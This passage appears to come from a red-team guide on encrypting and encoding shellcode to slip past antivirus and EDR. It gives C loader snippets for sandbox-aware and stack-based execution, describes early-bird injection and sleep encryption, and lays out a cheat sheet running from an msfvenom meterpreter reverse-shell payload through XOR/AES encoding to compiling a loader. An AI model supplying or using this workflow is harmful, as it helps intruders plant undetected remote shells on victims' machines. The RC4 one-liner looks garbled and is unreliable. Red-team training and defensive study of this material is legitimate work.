# ThreatCheck (find signature triggers)
# https://github.com/rasta-mouse/ThreatCheck
ThreatCheck.exe -f payload.bin -e Defender
# DefenderCheck (Defender-specific)
# https://github.com/matterpreter/DefenderCheck
DefenderCheck.exe payload.bin
15.6 Entropy Analysis Tool
#!/usr/bin/env python3
# entropy_check.py — Check encryption quality via Shannon entropy
import math
import sys
from collections import Counter
def entropy(data: bytes) -> float:
"""Calculate Shannon entropy of byte sequence."""
if not data:
return 0.0
counts = Counter(data)
total = len(data)
return -sum((c/total) * math.log2(c/total) for c in counts.values())
def analyze_file(path: str):
with open(path, "rb") as f:
data = f.read()
e = entropy(data)
print(f"File: {path}")
print(f"Size: {len(data)} bytes")
print(f"Shannon entropy: {e:.4f} bits/byte")
print()
if e < 4.0:
print("⚠ Low entropy — payload may be detectable")
print(" Consider encryption or better encoding")
elif e < 6.5:
print("✓ Medium entropy — basic encoding applied")
elif e < 7.5:
print("✓ High entropy — good encryption/compression")
else:
print("✓✓ Very high entropy (>7.5) — AES-grade encryption")
print(" Note: High entropy itself can be flagged by EDR")
if __name__ == "__main__":
for f in sys.argv[1:]:
analyze_file(f)
# Usage:
python3 entropy_check.py payload.bin
python3 entropy_check.py payload.enc
python3 entropy_check.py payload_xor.bin
# Expected outputs:
# Raw msfvenom shellcode: ~6.0 entropy
# XOR encoded: ~6.5 entropy
# AES-256 encrypted: ~7.9 entropy
16. Detection & Evasion
16.1 What EDR Looks For (Encryption-Specific)
Static analysis:
- Known shellcode byte sequences (before encoding)
- Decryption loop patterns (XOR loop, AES rounds in disassembly)
- High-entropy blobs in PE sections (encrypted data stands out)
- Specific API imports: BCryptDecrypt, CryptDecrypt, RtlDecompressBuffer
- Hardcoded key constants (0x61707865 = ChaCha20 constant, AES S-box patterns)
Behavioral analysis: - Allocate memory → write bytes → execute (regardless of what's written) - BCrypt/WinCrypt API call → VirtualAlloc → CreateThread sequence - Memory written via WinHTTP/URLDownloadToFile → executed - Entropy change in memory region (decryption in-place)
Memory scanning: - EDR scans all RWX memory periodically - After decryption, raw shellcode is in memory — signature match - Sleep-scanning: EDR wakes up beacon during sleep to scan
16.2 Evasion Strategies
1. Encrypt/decrypt only at execution time (not on allocation)
// Don't decrypt immediately after allocation.
// Wait for trigger (mouse movement, network event, keypress).
// EDR periodic scanner won't see decrypted shellcode if timing is right.
// Example: decrypt only after user activity
POINT lastPos = {0};
while (TRUE) {
POINT pos;
GetCursorPos(&pos);
if (pos.x != lastPos.x || pos.y != lastPos.y) {
break; // User moved mouse → real machine → decrypt
}
Sleep(100);
}
decrypt_and_execute();
2. Stack-based decryption (no heap allocation)
// Decrypt shellcode onto the stack instead of heap
// Stack memory is less monitored than heap/VirtualAlloc
void decrypt_on_stack(void) {
unsigned char stack_buf[SHELLCODE_SIZE];
// Decrypt from .data → stack_buf
for (int i = 0; i < SHELLCODE_SIZE; i++) {
stack_buf[i] = encrypted_shellcode[i] ^ xor_key;
}
// Cast stack buffer to function pointer and call
((void(*)())stack_buf)();
}
// NOTE: Requires /GS- (no stack cookie) and executable stack
3. Early-bird injection with encryption
Early-bird strategy:
1. Create target process (notepad.exe) in SUSPENDED state
2. Inject ENCRYPTED shellcode into its memory
3. Write decryption stub at entry point
4. Resume process
5. Process runs → stub decrypts → shellcode executes
Why? EDR hooks are loaded AFTER process creation.
The decryption happens before EDR can hook into the new process.
4. Heap encryption during sleep (Ekko / Gargoyle technique)
Heap encrypt technique (used by advanced C2 implants):
├─ Beacon is executing (decrypted in memory)
├─ Before sleeping:
│ ├─ Re-encrypt implant memory (beacon re-encrypts itself)
│ ├─ Change memory protection: RX → RW (not executable)
│ └─ Sleep (memory scanner sees encrypted, non-executable blob)
├─ Wake-up:
│ ├─ Change protection: RW → RX
│ ├─ Decrypt self
│ └─ Continue execution
│
└─ EDR periodic scan during sleep: sees nothing suspicious
Tools implementing this: Ekko, Gargoyle, Foliage, Cronos
5. Segmented key delivery
// Never store the full key in one place
// Split it and reassemble at runtime
// In binary: partial key only
unsigned char key_part1[] = { 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48 };
// From environment: another part
void get_key_part2(unsigned char out[8]) {
// Hash the machine SID
char sid[64] = {0};
// ... get SID ... (query registry)
// SHA256 SID → take first 8 bytes
}
// From network: final part
void get_key_part3(unsigned char out[16]) {
// HTTP GET /key → 16-byte key fragment
}
// Assemble at runtime
void assemble_key(unsigned char key[32]) {
unsigned char p2[8], p3[16];
get_key_part2(p2);
get_key_part3(p3);
memcpy(key, key_part1, 8);
memcpy(key + 8, p2, 8);
memcpy(key + 16, p3, 16);
}
17. Comparison Matrix
| Technique | Complexity | AV Bypass | Key Needed | Code Size | Speed | Detection Risk |
|---|---|---|---|---|---|---|
| XOR (single-byte) | Very Low | Low | No | ~5 lines | Very Fast | High (trivial to detect loop) |
| XOR (multi-byte) | Low | Medium | No | ~15 lines | Very Fast | Medium |
| Rolling XOR | Low | Medium | No | ~20 lines | Fast | Medium |
| Caesar + XOR | Low | Medium | No | ~10 lines | Very Fast | Medium |
| Base64 | Trivial | Very Low | No | 1 line | Fast | High (not encryption) |
| RC4 | Medium | High | Yes (16b) | ~40 lines | Fast | Medium (S-box pattern) |
| AES-128-CBC | High | Very High | Yes (16b) | ~100 lines | Medium | Low |
| AES-256-CBC | High | Very High | Yes (32b) | ~100 lines | Medium | Low |
| ChaCha20 | High | Very High | Yes (32b) | ~80 lines | Fast | Very Low (less known) |
| UUID encoding | Medium | Medium | No | ~30 lines | Slow | Medium (UUID loop) |
| IPv4 encoding | Low | Medium | No | ~15 lines | Medium | Medium |
| MAC encoding | Low | Medium | No | ~15 lines | Medium | Medium |
| AES + XOR (layered) | High | Excellent | Yes | ~120 lines | Medium | Very Low |
18. Cheat Sheet
Quick Workflow — Generate → Encode → Embed
# Step 1: Generate raw shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 -f raw -o payload.bin
# Step 2: Check entropy (baseline)
python3 entropy_check.py payload.bin
# Step 3: XOR encode (quick, removes basic signatures)
python3 xor_encode.py # outputs: encoded shellcode + C array
# Step 4: AES-256 encrypt (strong, removes all signatures)
python3 aes_encrypt.py # outputs: payload.enc + C arrays
# Step 5: Check entropy again
python3 entropy_check.py payload.enc
# Step 6: Embed in C loader + compile
# Paste C arrays from Python output into loader stub
# Compile: cl.exe loader.c /Fe:loader.exe (MSVC)
# Or: x86_64-w64-mingw32-gcc loader.c -o loader.exe -lbcrypt
Key Size Quick Reference
XOR key:
Single-byte: 1 byte (0x00–0xFF)
Multi-byte: 4–16 bytes (random)
AES key sizes:
AES-128: 16 bytes (128 bits)
AES-256: 32 bytes (256 bits) ← recommended
AES IV size: 16 bytes (always, regardless of key size)
RC4 key size: 16–256 bytes (16 typical)
ChaCha20 key: 32 bytes
ChaCha20 nonce: 12 bytes (96-bit)
Python One-Liners
# XOR encode shellcode (one-liner)
open("xor.bin","wb").write(bytes([b^0x41 for b in open("payload.bin","rb").read()]))
# Base64 encode
import base64; print(base64.b64encode(open("payload.bin","rb").read()).decode())
# AES-256 encrypt (with pycryptodome)
from Crypto.Cipher import AES; from Crypto.Util.Padding import pad; import os
k=os.urandom(32); iv=os.urandom(16); d=open("payload.bin","rb").read()
open("payload.enc","wb").write(iv+AES.new(k,AES.MODE_CBC,iv).encrypt(pad(d,16)))
print(f"Key: {k.hex()}")
# RC4 encrypt (no deps)
def rc4(d,k): S=list(range(256)); j=0; [S.__setitem__(i,(S[i:=i],S[j:=(j+S[i]+k[i%len(k)])%256])[0]) for i in range(256)]; return bytes(b^S[S[(S[i:=(i+1)%256],S[j:=(j+S[i])%256])[0] if (S.__setitem__(i,S[j]),S.__setitem__(j,S[i]))[0] is None else 0]+S[j]]%256 for b in d)
key=b"SecretKey1234567"; data=open("payload.bin","rb").read()
open("payload.rc4","wb").write(rc4(data,key))
Decision Tree — What Encryption to Use?
Need to encrypt shellcode?
│
├─ CTF / Learning environment?
│ └─ XOR single-byte or multi-byte → fast, works fine
│
├─ Real red team engagement?
│ ├─ EDR present (CrowdStrike, SentinelOne)?
│ │ └─ AES-256 + environment-derived key
│ │ + sandbox evasion (§14.2)
│ │ + heap encryption during sleep (§16.2)
│ │
│ ├─ Defender only?
│ │ └─ AES-256 or RC4 + XOR layered
│ │
│ └─ Minimal AV?
│ └─ XOR multi-byte or RC4 (simple, effective)
│
├─ Transport shellcode over network?
│ └─ AES-256 encrypt → Base64 encode → HTTPS deliver
│
├─ Embed in binary (stageless)?
│ └─ AES-256 + environment key derivation (no hardcoded key)
│
├─ Maximum stealth / APT simulation?
│ └─ ChaCha20 (less known) + staged delivery + heap sleep encryption
│
└─ Custom C2 development?
└─ AES-256-GCM (authenticated encryption — detect tampering)
+ key from C2 per-session + UUID shellcode encoding
Encoding Layering Cheat Sheet
Layer 1 (optional): UUID / IPv4 / MAC encoding
└─ Disguises shellcode as network data
Layer 2: XOR multi-byte encode
└─ Removes raw shellcode byte patterns
└─ Key: random 8–16 bytes, hardcoded in loader
Layer 3: AES-256-CBC encrypt
└─ Cryptographically strong, requires key
└─ Key: environment-derived or fetched from C2
Layer 4: Base64 encode
└─ ASCII-safe for transport (HTTP, JSON, PowerShell strings)
└─ Decode first, then AES decrypt, then XOR decode
Decryption order (reverse of encryption):
Base64 decode → AES-256 decrypt → XOR decode → [UUID decode] → execute
Common Shell Commands
# Check if file has high entropy (expect ~7.9 for AES output)
python3 -c "
import math,sys
from collections import Counter
d=open(sys.argv[1],'rb').read()
c=Counter(d);n=len(d)
e=-sum((v/n)*math.log2(v/n) for v in c.values())
print(f'Entropy: {e:.4f}')
" payload.bin
# Quick XOR test (bash)
xxd payload.bin | head -5 # Show raw bytes before encoding
# Compile C loader (MinGW cross-compile)
x86_64-w64-mingw32-gcc loader.c -o loader.exe -lbcrypt -lws2_32
# Compile C loader (MSVC)
cl.exe loader.c /Fe:loader.exe /link bcrypt.lib ws2_32.lib
# Test with Defender offline (Windows)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File loader.exe
References & Tools
Encoding/Encryption Tools: - ScareCrow — https://github.com/Tylous/Scarecrow - Donut — https://github.com/TheWover/donut - Msfvenom — Part of Metasploit Framework - ThreatCheck — https://github.com/rasta-mouse/ThreatCheck (find AV trigger bytes) - DefenderCheck — https://github.com/matterpreter/DefenderCheck
Sleep Encryption Implementations: - Ekko — https://github.com/Cracked5pider/Ekko (sleep encryption via RtlCreateTimer) - Gargoyle — https://github.com/JLospinoso/gargoyle
Python Libraries: - pycryptodome — https://pycryptodome.readthedocs.io (AES, RC4, ChaCha20) - cryptography — https://cryptography.io
Further Reading: - Bobby Cooke — UUID shellcode encoding technique - Sektor7 Malware Development courses - Red Team Notes — https://www.ired.team - VX-Underground papers — shellcode encoding research - Windows CNG documentation (BCrypt APIs) — MSDN